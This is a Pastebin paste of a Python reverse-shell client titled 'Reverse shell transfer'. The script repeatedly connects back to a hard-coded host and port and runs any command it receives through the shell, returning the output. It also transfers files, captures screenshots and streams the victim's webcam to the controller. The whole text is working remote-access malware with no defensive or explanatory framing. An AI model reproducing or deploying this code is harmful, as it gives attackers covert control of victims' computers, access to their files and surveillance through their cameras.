Advertisement
xosski

Reverse shell transfer

Dec 4th, 2024
12
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.24 KB | None | 0 0
  1. import socket
  2. import subprocess
  3. import time
  4. import threading
  5. import pyautogui
  6. import cv2
  7. import numpy as np
  8. import json
  9. import os
  10. import ctypes
  11.  
  12. # Constants
  13. HOST = '192.168.56.1'
  14. PORT = 9999
  15. BUFFER_SIZE = 1024
  16.  
  17. # Create socket connection
  18. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  19.  
  20. def reliable_send(data):
  21. """Send data reliably, ensuring it's fully transmitted"""
  22. jsondata = json.dumps(data)
  23. s.send(jsondata.encode())
  24.  
  25. def reliable_recv():
  26. """Receive data reliably, handling incomplete or partial messages"""
  27. data = ""
  28. while True:
  29. try:
  30. data += s.recv(BUFFER_SIZE).decode().rstrip()
  31. return json.loads(data)
  32. except ValueError:
  33. continue
  34.  
  35. def download_file(file_name):
  36. """Download a file from the server"""
  37. with open(file_name, "wb") as f:
  38. s.settimeout(1)
  39. chunk = s.recv(BUFFER_SIZE)
  40. while chunk:
  41. f.write(chunk)
  42. try:
  43. chunk = s.recv(BUFFER_SIZE)
  44. except socket.timeout:
  45. break
  46. s.settimeout(None)
  47.  
  48. def upload_file(file_name):
  49. """Upload a file to the server"""
  50. with open(file_name, "rb") as f:
  51. s.send(f.read())
  52.  
  53. def screenshot():
  54. """Capture a screenshot"""
  55. image = pyautogui.screenshot()
  56. image = cv2.cvtColor(np.array(image), cv2.COLOR_RGB2BGR)
  57. cv2.imwrite("screenshot.png", image)
  58.  
  59. def reverse_shell():
  60. """Handles reverse shell communication"""
  61. while True:
  62. command = reliable_recv()
  63. if command == "quit":
  64. break
  65. elif command == "screenshot":
  66. threading.Thread(target=screenshot_reverse_shell, daemon=True).start()
  67. elif command == "camera":
  68. threading.Thread(target=camera_reverse_shell, daemon=True).start()
  69. elif command[:6] == "upload":
  70. download_file(command[7:])
  71. else:
  72. execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  73. result = execute.stdout.read() + execute.stderr.read()
  74. reliable_send(result.decode())
  75.  
  76. def camera_reverse_shell():
  77. """Capture and stream video from the camera"""
  78. cap = cv2.VideoCapture(0)
  79. if not cap.isOpened():
  80. s.sendall(b"[!] Failed to access camera")
  81. return
  82. while True:
  83. ret, frame = cap.read()
  84. if not ret:
  85. break
  86. send_frame(frame)
  87. time.sleep(0.05)
  88. cap.release()
  89.  
  90. def send_frame(frame):
  91. """Send a frame over the network"""
  92. _, img_encoded = cv2.imencode('.jpg', frame)
  93. img_bytes = img_encoded.tobytes()
  94. s.sendall(len(img_bytes).to_bytes(4, 'big'))
  95. s.sendall(img_bytes)
  96.  
  97. def screenshot_reverse_shell():
  98. """Capture and send a screenshot"""
  99. screenshot = pyautogui.screenshot()
  100. frame = cv2.cvtColor(np.array(screenshot), cv2.COLOR_RGB2BGR)
  101. send_frame(frame)
  102.  
  103. def connection():
  104. """Attempt to connect to the server and initiate reverse shell"""
  105. while True:
  106. time.sleep(5)
  107. try:
  108. s.connect((HOST, PORT))
  109. reverse_shell()
  110. s.close()
  111. except:
  112. continue
  113.  
  114. if __name__ == "__main__":
  115. connection()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement